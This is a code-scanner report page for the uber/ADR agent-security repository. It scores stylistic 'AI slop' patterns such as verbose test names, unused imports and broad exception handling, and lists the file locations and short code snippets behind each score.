AI Slop Code RIsk Monitor

uber/ADR

ADR secures enterprise AI agents through observability, security benchmarking, and threat detection. Deployed at Uber.

19.1 Elevated pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for uber/ADR, a Python project with 2,008 GitHub stars. SynthScan examined 123,823 lines of code across 494 source files, recording 2043 pattern matches distributed across 22 syntactic categories. The legacy adjusted pattern signal is 19.1 (Elevated pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

19.1
Adjusted Signal
19.1
Raw Pattern Score
100%
Time Factor
2026-10-08
Last Push
2.0K
Stars
Python
Language
123.8K
Lines of Code
494
Files
2.0K
Pattern Hits
2026-10-12
Scan Date
0.09
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 44.1/100 · MEDIUM

Can maintainers explain intent, assumptions, and trade-offs? 1302 finding(s).

Hallucinated Dependency & Supply Chain Risk 18.2/100 · LOW

Are imports declared and package/API names verified? 470 finding(s).

Agent Over-Engineering Ratio 43.9/100 · MEDIUM

Are wrappers, guards, and repeated structures necessary? 1236 finding(s).

PR Review Velocity Impact 62.0/100 · HIGH

Which changes need focused human review? 2043 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 0HIGH 42MEDIUM 72LOW 1929

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 2043 distinct pattern matches across 22 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Hyper-Verbose Identifiers953 hits · 993 pts
SeverityFileLineSnippetContext
LOW⚡Discovery/tests/test_report.py20 def test_it_is_one_self_contained_page(self):CODE
LOW⚡Discovery/tests/test_report.py26 def test_it_names_the_run_the_image_and_the_collector(self):CODE
LOW⚡Discovery/tests/test_report.py34 def test_categories_are_listed_separately(self):CODE
LOW⚡Discovery/tests/test_report.py40 def test_every_miss_and_invention_is_listed_by_id(self):CODE
LOWDiscovery/tests/test_report.py58 def test_a_failing_gate_says_why(self):CODE
LOW⚡Discovery/tests/test_match.py19 def test_a_home_reference_becomes_a_path(self):CODE
LOW⚡Discovery/tests/test_match.py23 def test_windows_separators_compare_with_posix_ones(self):CODE
LOW⚡Discovery/tests/test_match.py26 def test_launch_identity_ignores_formatting(self):CODE
LOW⚡Discovery/tests/test_match.py33 def test_an_empty_path_stays_empty(self):CODE
LOW⚡Discovery/tests/test_match.py42 def test_an_asset_is_claimed_once(self):CODE
LOW⚡Discovery/tests/test_match.py50 def test_an_asset_indexed_by_two_paths_is_not_its_own_duplicate(self):CODE
LOW⚡Discovery/tests/test_match.py57 def test_a_surplus_asset_at_a_shared_key_is_a_duplicate(self):CODE
LOW⚡Discovery/tests/test_match.py64 def test_an_unmatched_asset_is_left_over(self):CODE
LOW⚡Discovery/tests/test_match.py75 def test_a_variant_claims_nothing(self):CODE
LOW⚡Discovery/tests/test_match.py82 def test_an_assertion_does_not_consume_the_asset_it_describes(self):CODE
LOW⚡Discovery/tests/test_match.py92 def test_a_remote_server_is_identified_by_where_it_points(self):CODE
LOW⚡Discovery/tests/test_match.py97 def test_the_same_command_at_two_sites_is_two_assets(self):CODE
LOW⚡Discovery/tests/test_manifest.py13 def test_the_manifest_is_complete(self):CODE
LOW⚡Discovery/tests/test_manifest.py17 def test_applicable_counts_per_os(self):CODE
LOW⚡Discovery/tests/test_manifest.py23 def test_fourteen_families_cover_everything(self):CODE
LOW⚡Discovery/tests/test_manifest.py33 def test_half_the_manifest_needs_no_installer(self):CODE
LOW⚡Discovery/tests/test_manifest.py39 def test_every_catalogued_tool_appears_once(self):CODE
LOW⚡Discovery/tests/test_manifest.py47 def test_installed_packages_are_pinned(self):CODE
LOW⚡Discovery/tests/test_manifest.py53 def test_variants_name_a_base_that_applies_there(self):CODE
LOW⚡Discovery/tests/test_manifest.py61 def test_shapes_are_derived_not_declared(self):CODE
LOW⚡Discovery/tests/test_manifest.py67 def test_a_bad_family_is_refused_at_load(self):CODE
LOW⚡Discovery/tests/test_score.py40 def test_a_correct_collector_scores_perfectly(self):CODE
LOW⚡Discovery/tests/test_score.py48 def test_recall_is_reported_per_category(self):CODE
LOW⚡Discovery/tests/test_score.py52 def test_every_verdict_is_keyed_by_manifest_id(self):CODE
LOW⚡Discovery/tests/test_score.py60 def test_a_missing_asset_is_a_false_negative(self):CODE
LOW⚡Discovery/tests/test_score.py65 def test_an_invented_asset_is_a_false_positive(self):CODE
LOW⚡Discovery/tests/test_score.py70 def test_a_second_asset_for_one_install_is_a_duplicate(self):CODE
LOW⚡Discovery/tests/test_score.py75 def test_a_leaked_canary_fails_the_run_outright(self):CODE
LOW⚡Discovery/tests/test_score.py82 def test_a_dirty_baseline_fails_before_the_score_matters(self):CODE
LOW⚡Discovery/tests/test_score.py87 def test_a_wrong_field_lowers_that_field_and_not_recall(self):CODE
LOW⚡Discovery/tests/test_score.py95 def test_an_unavailable_entry_is_not_a_miss(self):CODE
LOW⚡Discovery/tests/test_score.py103 def test_a_variant_leaves_with_the_tool_it_duplicates(self):CODE
LOW⚡Discovery/tests/test_score.py110 def test_a_failed_entry_leaves_the_denominator_but_is_reported(self):CODE
LOW⚡Discovery/tests/test_score.py117 def test_recall_below_the_previous_accepted_run_fails(self):CODE
LOW⚡Discovery/tests/test_score.py124 def test_a_run_is_not_compared_against_another_os(self):CODE
LOW⚡Discovery/tests/test_score.py131 def test_score_json_round_trips(self):CODE
LOW⚡Discovery/tests/test_runner.py16 def test_every_family_has_an_execution_slot(self):CODE
LOW⚡Discovery/tests/test_runner.py20 def test_a_family_with_no_slot_is_refused(self):CODE
LOW⚡Discovery/tests/test_runner.py27 def test_extensions_run_after_the_app_that_hosts_them(self):CODE
LOW⚡Discovery/tests/test_runner.py30 def test_declarations_run_after_their_host_application(self):CODE
LOW⚡Discovery/tests/test_runner.py34 def test_variants_run_after_the_first_install(self):CODE
LOW⚡Discovery/tests/test_runner.py37 def test_runtime_state_runs_last(self):CODE
LOW⚡Discovery/tests/test_runner.py41 def test_ordering_is_stable_within_a_family(self):CODE
LOW⚡Discovery/tests/test_runner.py52 def test_a_dry_run_touches_no_guest_and_records_everything(self):CODE
LOW⚡Discovery/tests/test_runner.py60 def test_a_pending_family_is_unavailable_with_a_reason(self):CODE
LOW⚡Discovery/tests/test_runner.py70 def test_a_broken_recipe_fails_one_entry_rather_than_the_run(self):CODE
LOW⚡Discovery/tests/test_runner.py82 def test_an_unpinned_install_is_refused(self):CODE
LOW⚡Discovery/tests/test_runner.py91 def test_a_failing_command_is_a_failed_entry(self):CODE
LOW⚡Discovery/tests/test_runner.py98 def test_built_and_pending_together_cover_the_fourteen_families(self):CODE
LOW⚡Discovery/tests/test_runner.py101 def test_nothing_is_both_built_and_pending(self):CODE
LOW⚡Discovery/tests/test_bootstrap.py20 def test_a_skill_is_a_skill_and_not_the_word_skill(self):CODE
LOW⚡Discovery/tests/test_bootstrap.py25 def test_a_hook_row_produces_the_settings_shape(self):CODE
LOW⚡Discovery/tests/test_bootstrap.py33 def test_a_canary_reaches_the_body(self):CODE
LOW⚡Discovery/tests/test_bootstrap.py38 def test_an_unresolved_canary_is_left_visible(self):CODE
LOW⚡Discovery/tests/test_bootstrap.py43 def test_the_malformed_bundle_is_actually_malformed(self):CODE
893 more matches not shown…
Unused Imports452 hits · 450 pts
SeverityFileLineSnippetContext
LOWDiscovery/tests/cli.py9CODE
LOWDiscovery/tests/provision/lima.py12CODE
LOWDiscovery/tests/provision/driver.py9CODE
LOWDiscovery/tests/provision/tart.py9CODE
LOWDiscovery/tests/tools/bootstrap.py9CODE
LOWDiscovery/tests/tools/synthesize.py13CODE
LOWDiscovery/tests/install/runner.py11CODE
LOWDiscovery/tests/install/bodies.py8CODE
LOWDiscovery/tests/install/writers.py8CODE
LOWDiscovery/tests/install/recipes/__init__.py10CODE
LOWDiscovery/tests/scoring/canary.py12CODE
LOWDiscovery/tests/scoring/score.py8CODE
LOWDiscovery/tests/scoring/snapshot.py9CODE
LOWDiscovery/tests/scoring/schema.py8CODE
LOWDiscovery/tests/scoring/match.py10CODE
LOWDiscovery/tests/report/html.py9CODE
LOWDiscovery/adr_discovery/__init__.py8CODE
LOWDiscovery/adr_discovery/__init__.py10CODE
LOWDiscovery/adr_discovery/__init__.py10CODE
LOWDiscovery/adr_discovery/__init__.py10CODE
LOWDiscovery/adr_discovery/__init__.py11CODE
LOWDiscovery/adr_discovery/__init__.py12CODE
LOWDiscovery/adr_discovery/__init__.py12CODE
LOWDiscovery/adr_discovery/__init__.py12CODE
LOWDiscovery/adr_discovery/cli.py8CODE
LOWDiscovery/adr_discovery/pipeline.py13CODE
LOWDiscovery/adr_discovery/reporter/__init__.py3CODE
LOWDiscovery/adr_discovery/reporter/__init__.py5CODE
LOWDiscovery/adr_discovery/reporter/__init__.py5CODE
LOWDiscovery/adr_discovery/reporter/__init__.py5CODE
LOWDiscovery/adr_discovery/reporter/__init__.py6CODE
LOWDiscovery/adr_discovery/reporter/__init__.py6CODE
LOWDiscovery/adr_discovery/reporter/__init__.py6CODE
LOWDiscovery/adr_discovery/reporter/__init__.py6CODE
LOWDiscovery/adr_discovery/reporter/delta.py11CODE
LOWDiscovery/adr_discovery/reporter/identity.py13CODE
LOWDiscovery/adr_discovery/reporter/snapshot.py8CODE
LOWDiscovery/adr_discovery/contracts/records.py7CODE
LOWDiscovery/adr_discovery/contracts/evidence.py7CODE
LOWDiscovery/adr_discovery/contracts/snapshot.py8CODE
LOWDiscovery/adr_discovery/catalog/load.py12CODE
LOWDiscovery/adr_discovery/world/budget.py8CODE
LOWDiscovery/adr_discovery/world/gate.py16CODE
LOWDiscovery/adr_discovery/world/platform/__init__.py3CODE
LOWDiscovery/adr_discovery/world/platform/__init__.py7CODE
LOWDiscovery/adr_discovery/world/platform/darwin.py7CODE
LOWDiscovery/adr_discovery/world/platform/windows.py3CODE
LOWDiscovery/adr_discovery/world/platform/linux.py3CODE
LOWDiscovery/adr_discovery/world/platform/base.py8CODE
LOWDiscovery/adr_discovery/world/platform/base.py16CODE
LOWDiscovery/adr_discovery/world/platform/base.py16CODE
LOWDiscovery/adr_discovery/extractor/surfaces.py14CODE
LOWDiscovery/adr_discovery/extractor/__init__.py9CODE
LOWDiscovery/adr_discovery/extractor/__init__.py18CODE
LOWDiscovery/adr_discovery/extractor/isolate.py10CODE
LOW…scovery/adr_discovery/extractor/formats/frontmatter.py14CODE
LOWDiscovery/adr_discovery/extractor/formats/__init__.py10CODE
LOWDiscovery/adr_discovery/extractor/formats/yaml.py16CODE
LOWDiscovery/adr_discovery/extractor/formats/workflow.py13CODE
LOWDiscovery/adr_discovery/redact/rules.py12CODE
392 more matches not shown…
Deep Nesting211 hits · 196 pts
SeverityFileLineSnippetContext
LOWDiscovery/tests/manifest.py314CODE
LOWDiscovery/tests/tools/bootstrap.py210CODE
LOWDiscovery/tests/scoring/match.py99CODE
LOWDiscovery/adr_discovery/catalog/load.py84CODE
LOWDiscovery/adr_discovery/world/gate.py260CODE
LOWDiscovery/adr_discovery/world/platform/linux.py29CODE
LOWDiscovery/adr_discovery/world/platform/linux.py111CODE
LOWDiscovery/adr_discovery/world/platform/base.py226CODE
LOWDiscovery/adr_discovery/world/platform/base.py254CODE
LOWDiscovery/adr_discovery/world/platform/base.py287CODE
LOWDiscovery/adr_discovery/extractor/__init__.py141CODE
LOWDiscovery/adr_discovery/tests_unit/test_import_rules.py113CODE
LOWDiscovery/adr_discovery/enumerator/sources/appstate.py29CODE
LOW…covery/adr_discovery/enumerator/sources/modelstores.py16CODE
LOWDiscovery/adr_discovery/enumerator/sources/network.py19CODE
LOWDiscovery/adr_discovery/resolver/merge.py43CODE
LOWSensor/tests/test_parser_diagnostics.py92CODE
LOWSensor/examples/demo.py184CODE
LOWSensor/adr_sensor/observer.py295CODE
LOWSensor/adr_sensor/observer.py359CODE
LOWSensor/adr_sensor/observer.py472CODE
LOWSensor/adr_sensor/observer.py908CODE
LOWSensor/adr_sensor/cli.py50CODE
LOWSensor/adr_sensor/parsers/claude_desktop_parser.py65CODE
LOWSensor/adr_sensor/parsers/claude_desktop_parser.py119CODE
LOWSensor/adr_sensor/parsers/claude_desktop_parser.py308CODE
LOWSensor/adr_sensor/parsers/claude_desktop_parser.py370CODE
LOWSensor/adr_sensor/parsers/claude_desktop_parser.py470CODE
LOWSensor/adr_sensor/parsers/gemini_parser.py36CODE
LOWSensor/adr_sensor/parsers/gemini_parser.py87CODE
LOWSensor/adr_sensor/parsers/claude_parser.py134CODE
LOWSensor/adr_sensor/parsers/claude_parser.py209CODE
LOWSensor/adr_sensor/parsers/claude_parser.py227CODE
LOWSensor/adr_sensor/parsers/claude_parser.py302CODE
LOWSensor/adr_sensor/parsers/claude_parser.py375CODE
LOWSensor/adr_sensor/parsers/warp_parser.py52CODE
LOWSensor/adr_sensor/parsers/warp_parser.py164CODE
LOWSensor/adr_sensor/parsers/warp_parser.py244CODE
LOWSensor/adr_sensor/parsers/warp_parser.py295CODE
LOWSensor/adr_sensor/parsers/opencode_parser.py222CODE
LOWSensor/adr_sensor/parsers/opencode_parser.py354CODE
LOWSensor/adr_sensor/parsers/opencode_parser.py461CODE
LOWSensor/adr_sensor/parsers/copilot_parser.py92CODE
LOWSensor/adr_sensor/parsers/copilot_parser.py463CODE
LOWSensor/adr_sensor/parsers/copilot_parser.py550CODE
LOWSensor/adr_sensor/parsers/antigravity_parser.py72CODE
LOWSensor/adr_sensor/parsers/antigravity_parser.py169CODE
LOWSensor/adr_sensor/parsers/dsh_parser.py211CODE
LOWSensor/adr_sensor/parsers/dsh_parser.py465CODE
LOWSensor/adr_sensor/parsers/codex_parser.py161CODE
LOWSensor/adr_sensor/parsers/codex_parser.py210CODE
LOWSensor/adr_sensor/parsers/codex_parser.py248CODE
LOWSensor/adr_sensor/parsers/codex_parser.py406CODE
LOWSensor/adr_sensor/parsers/codex_parser.py610CODE
LOWSensor/adr_sensor/parsers/cline_parser.py60CODE
LOWSensor/adr_sensor/parsers/cline_parser.py100CODE
LOWSensor/adr_sensor/parsers/cline_parser.py172CODE
LOWSensor/adr_sensor/parsers/cline_parser.py227CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py64CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py159CODE
151 more matches not shown…
Excessive Try-Catch Wrapping156 hits · 167 pts
SeverityFileLineSnippetContext
LOWDiscovery/tests/tools/bootstrap.py96 except Exception as failure: # noqa: BLE001 - one bad entry is not a dead runCODE
LOWDiscovery/tests/install/runner.py95 except Exception as failure: # noqa: BLE001 - a broken recipe is a failed entry, not a dead runCODE
LOWDiscovery/adr_discovery/world/platform/darwin.py91 except Exception:CODE
LOWDiscovery/adr_discovery/extractor/__init__.py76 except Exception as exc:CODE
LOWDiscovery/adr_discovery/extractor/isolate.py41 except Exception as exc: # one record, one boundaryCODE
LOWSensor/adr_sensor/observer.py222 except Exception as e:CODE
LOWSensor/adr_sensor/observer.py439 except Exception as e:CODE
LOWSensor/adr_sensor/observer.py810 except Exception:CODE
LOW⚡Sensor/adr_sensor/host_identity.py31 except Exception:CODE
LOW⚡Sensor/adr_sensor/host_identity.py41 except Exception:CODE
LOW⚡Sensor/adr_sensor/host_identity.py51 except Exception:CODE
LOWSensor/adr_sensor/diagnostics.py128 except Exception:CODE
LOWSensor/adr_sensor/diagnostics.py135 except Exception:CODE
LOWSensor/adr_sensor/cli.py23except Exception:CODE
LOWSensor/adr_sensor/cli.py173 except Exception:STRING
LOWSensor/adr_sensor/cli.py278 except Exception:STRING
LOWSensor/adr_sensor/cli.py350 except Exception:STRING
LOWSensor/adr_sensor/parsers/claude_desktop_parser.py109 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/claude_parser.py128 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/claude_parser.py460 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/warp_parser.py86 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/warp_parser.py92 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/warp_parser.py128 except Exception:STRING
LOWSensor/adr_sensor/parsers/warp_parser.py228 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/warp_parser.py282 except Exception:CODE
LOWSensor/adr_sensor/parsers/warp_parser.py319 except Exception:CODE
LOWSensor/adr_sensor/parsers/opencode_parser.py250 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/opencode_parser.py261 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/opencode_parser.py347 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/copilot_parser.py86 except Exception as exc:CODE
LOWSensor/adr_sensor/parsers/copilot_parser.py140 except Exception as exc:CODE
LOWSensor/adr_sensor/parsers/copilot_parser.py544 except Exception as exc:CODE
LOWSensor/adr_sensor/parsers/copilot_parser.py564 except Exception:CODE
LOW⚡Sensor/adr_sensor/parsers/copilot_parser.py588 except Exception:CODE
LOWSensor/adr_sensor/parsers/codex_parser.py106 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/codex_parser.py282 except Exception as exc:CODE
LOWSensor/adr_sensor/parsers/codex_parser.py345 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/codex_parser.py626 except Exception:CODE
LOWSensor/adr_sensor/parsers/cline_parser.py162 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/cline_parser.py217 except Exception as e:CODE
LOW⚡Sensor/adr_sensor/parsers/cursor_parser.py129 except Exception:CODE
LOW⚡Sensor/adr_sensor/parsers/cursor_parser.py138 except Exception:CODE
LOW⚡Sensor/adr_sensor/parsers/cursor_parser.py144 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py58 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py84 except Exception:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py90 except Exception:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py191 except Exception:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py195 except Exception as e:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py221 except Exception:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py227 except Exception:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py259 except Exception:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py299 except Exception:CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py340 except Exception:CODE
LOWSensor/adr_sensor/exporters/opentelemetry.py158 except Exception as exc:CODE
LOWSensor/adr_sensor/exporters/opentelemetry.py175 except Exception as exc:CODE
LOWSensor/adr_sensor/exporters/opentelemetry.py353 except Exception:CODE
MEDIUMSensor/adr_sensor/exporters/opentelemetry.py172def _flush(self) -> None:CODE
MEDIUMDetection/main_benchmark.py62def _load_config(self) -> Dict[str, Any]:CODE
LOWDetection/main_benchmark.py217 except Exception as e:CODE
LOWDetection/main_benchmark.py382 except Exception as e:CODE
96 more matches not shown…
Empty Error Handlers28 hits · 140 pts
SeverityFileLineSnippetContext
HIGHDiscovery/adr_discovery/world/gate.py467except (OSError, ProcessLookupError):CODE
HIGHDiscovery/adr_discovery/world/gate.py471except subprocess.TimeoutExpired:CODE
HIGHDiscovery/adr_discovery/extractor/formats/yaml.py119except ValueError:CODE
HIGHDiscovery/adr_discovery/tests_unit/conftest.py35except OSError:CODE
HIGHSensor/adr_sensor/sensor_log.py173except (OSError, ValueError):CODE
HIGHSensor/adr_sensor/diagnostics.py97except (TypeError, ValueError):CODE
HIGHSensor/adr_sensor/diagnostics.py135except Exception:CODE
HIGHSensor/adr_sensor/cli.py350except Exception:CODE
HIGHSensor/adr_sensor/parsers/antigravity_parser.py299except json.JSONDecodeError:CODE
HIGHSensor/adr_sensor/parsers/codex_parser.py206except sqlite3.Error:CODE
HIGHSensor/adr_sensor/parsers/codex_parser.py386except (json.JSONDecodeError, RecursionError, ValueError):CODE
HIGHSensor/adr_sensor/exporters/delivery_checkpoint.py123except OSError:CODE
HIGHSensor/adr_sensor/utils/timestamp_utils.py80except (ValueError, IndexError):CODE
HIGHDetection/main_benchmark.py45except (ImportError, Exception):CODE
HIGHDetection/main_benchmark.py828except Exception:CODE
HIGHDetection/main_benchmark.py916except ProcessLookupError:CODE
HIGH…chmark/agentdojo/benchmark_agents/pfi_agent/sealing.py331except Exception as e:CODE
HIGH…k/agentdojo/benchmark_agents/f_secure_agent/sealing.py305except Exception as e:CODE
HIGH…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py396except Exception as e:CODE
HIGH…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py733except:CODE
HIGH…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py406except Exception as e:CODE
HIGH…gentdojo/benchmarks/agentdojo/task_suite/task_suite.py414except Exception as e:CODE
HIGH…benchmarks/agentdojo/agent_pipeline/llms/google_llm.py155except AttributeError:CODE
HIGH…ction/context_providers/source_code_analyzer_server.py263except UnicodeError:CODE
HIGH…codes/mcp_servers_0/patent_analyzer/patent_analyzer.py134except ValueError:CODE
HIGH…odes/mcp_servers_1/ai_insights/function/ai_insights.py69except:CODE
HIGHDetection/guardrail/adr_agent/adr_baseline.py661except IndexError:CODE
HIGHDetection/guardrail/adr_agent/adr_baseline.py669except IndexError:CODE
Modern Structural Boilerplate76 hits · 76 pts
SeverityFileLineSnippetContext
LOWDiscovery/tests/__init__.py14__all__ = ["manifest", "scoring", "install", "provision", "report"]CODE
LOWDiscovery/tests/provision/lima.py84__all__ = ["LimaDriver", "NoSnapshot"]CODE
LOWDiscovery/tests/provision/driver.py113__all__ = ["DEFAULT_TIMEOUT", "Driver", "DryDriver", "Result"]CODE
LOWDiscovery/tests/provision/tart.py108__all__ = ["NoSnapshot", "SSH_OPTIONS", "TartDriver"]CODE
LOWDiscovery/tests/tools/bootstrap.py344__all__ = ["BINARIES", "FAILED", "MISSING", "OK", "Report", "SKIPPED", "Step",CODE
LOWDiscovery/tests/tools/synthesize.py324__all__ = ["FAULTS", "HOME", "Plan", "build", "canary_values"]CODE
LOWDiscovery/tests/install/runner.py126__all__ = ["FAILED", "INSTALLED", "ORDER", "Outcome", "Recipe", "UNAVAILABLE",CODE
LOWDiscovery/tests/install/bodies.py169__all__ = ["MALFORMED", "TEMPLATES", "artifact", "body_for", "declaration",CODE
LOWDiscovery/tests/install/writers.py103__all__ = ["emit", "format_for", "to_json", "to_toml", "to_yaml"]CODE
LOWDiscovery/tests/install/recipes/__init__.py119__all__ = ["BUILT", "PENDING", "REGISTRY", "artifact", "baseline_prereq", "declare_mcp", "npm_global"]CODE
LOWDiscovery/tests/scoring/canary.py86__all__ = ["CanaryError", "CanaryReport", "Leak", "MIN_LENGTH", "check"]CODE
LOWDiscovery/tests/scoring/score.py334__all__ = ["Counts", "DUP", "FN", "FP", "Score", "TP", "Verdict", "score"]CODE
LOWDiscovery/tests/scoring/snapshot.py189__all__ = [CODE
LOWDiscovery/tests/scoring/schema.py88__all__ = ["ABSOLUTE", "Gate", "SCHEMA_VERSION", "gate", "to_dict", "to_json"]CODE
LOWDiscovery/tests/scoring/match.py282__all__ = ["Match", "Matching", "identity_of", "launch_identity", "match", "normalize_path"]CODE
LOWDiscovery/tests/report/html.py149__all__ = ["render"]CODE
LOWDiscovery/adr_discovery/__init__.py15__all__ = ["discover", "diff", "to_dict", "to_json", "Snapshot", "Coverage", "SCHEMA_VERSION"]CODE
LOWDiscovery/adr_discovery/reporter/__init__.py8__all__ = ["diff", "Delta", "DifferentEndpoints", "from_dict", "to_dict", "to_json", "stats"]CODE
LOWDiscovery/adr_discovery/extractor/__init__.py20__all__ = ["extract", "SCOPES", "SURFACE_NAMES"]CODE
LOWDiscovery/adr_discovery/identifier/__init__.py13__all__ = ["identify", "content_hash", "binary_format", "check_version", "score", "signals_for", "is_reviewable", "THRESCODE
LOWDiscovery/adr_discovery/judge/__init__.py18__all__ = ["judge", "Policy", "EMPTY"]CODE
LOWDiscovery/adr_discovery/enumerator/__init__.py21__all__ = ["enumerate_candidates"]CODE
LOWDiscovery/adr_discovery/resolver/__init__.py17__all__ = ["resolve", "asset_id", "normalize_root"]CODE
LOWSensor/adr_sensor/observer.py43logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/sensor_log.py143def set_console_level(level) -> None:CODE
LOWSensor/adr_sensor/diagnostics.py13logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/__init__.py29__all__ = [CODE
LOWSensor/adr_sensor/cli.py34logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/claude_desktop_parser.py31logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/gemini_parser.py20logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/claude_parser.py23logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/warp_parser.py28logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/opencode_parser.py50logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/copilot_parser.py27logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/__init__.py20__all__ = [CODE
LOWSensor/adr_sensor/parsers/antigravity_parser.py22logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/dsh_parser.py18logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/codex_parser.py25logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/cline_parser.py19logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/parsers/cursor_parser.py23logger = logging.getLogger(__name__)CODE
LOWSensor/adr_sensor/exporters/__init__.py5__all__ = [CODE
LOWDetection/main_benchmark.py126 def update_concurrent_tasks(self, count: int) -> None:CODE
LOWDetection/main_detector.py24logger = logging.getLogger(__name__)CODE
LOW…entdojo/benchmark_agents/pfi_agent/plugin_connector.py26 def set_attr(self, attr: Attr) -> None:CODE
LOW…entdojo/benchmark_agents/pfi_agent/plugin_connector.py30 def set_principal(self, principal: Principal) -> None:CODE
LOW…entdojo/benchmark_agents/pfi_agent/plugin_connector.py44 def set_attr(self, attr) -> None:CODE
LOW…entdojo/benchmark_agents/pfi_agent/plugin_connector.py57 def set_principal(self, principal) -> None:CODE
LOW…entdojo/benchmark_agents/pfi_agent/plugin_connector.py79 def set_attr(self, attr) -> None:CODE
LOW…entdojo/benchmark_agents/pfi_agent/plugin_connector.py91 def set_principal(self, principal) -> None:CODE
LOW…jo/benchmark_agents/f_secure_agent/plugin_connector.py26 def set_attr(self, attr: Attr) -> None:CODE
LOW…jo/benchmark_agents/f_secure_agent/plugin_connector.py30 def set_principal(self, principal: Principal) -> None:CODE
LOW…jo/benchmark_agents/f_secure_agent/plugin_connector.py44 def set_attr(self, attr) -> None:CODE
LOW…jo/benchmark_agents/f_secure_agent/plugin_connector.py57 def set_principal(self, principal) -> None:CODE
LOW…jo/benchmark_agents/f_secure_agent/plugin_connector.py79 def set_attr(self, attr) -> None:CODE
LOW…jo/benchmark_agents/f_secure_agent/plugin_connector.py91 def set_principal(self, principal) -> None:CODE
LOW…o/benchmark_agents/react_agent/react_agent_creation.py670__all__ = [CODE
LOW…mark/agentdojo/benchmark_agents/nemo_agent/__init__.py5__all__ = ['create_agent']CODE
LOW…rk/agentdojo/benchmarks/agentdojo/functions_runtime.py300 def update_functions(self, new_functions: dict[str, Function]) -> None:CODE
LOW…arks/agentdojo/default_suites/v1/workspace/__init__.py5__all__ = ["workspace_task_suite"]CODE
LOW…hmarks/agentdojo/default_suites/v1/banking/__init__.py5__all__ = ["banking_task_suite"]CODE
16 more matches not shown…
AI Slop Vocabulary33 hits · 70 pts
SeverityFileLineSnippetContext
MEDIUMDiscovery/tests/provision/tart.py78 #: tools installed with either are invisible to every command the harnessCOMMENT
MEDIUMDiscovery/tests/provision/tart.py80 #: A real user's shell has both, so the harness gives itself the same one.COMMENT
MEDIUMDiscovery/tests/tools/bootstrap.py306 line = f"{entry.state.get('schedule', '0 * * * *')} {command} # adr-harness-{entry.id}"CODE
MEDIUMDiscovery/tests/install/bodies.py40 "command_toml": """# Planted by the ADR Discovery test harness as manifest entry {entry_id}.STRING
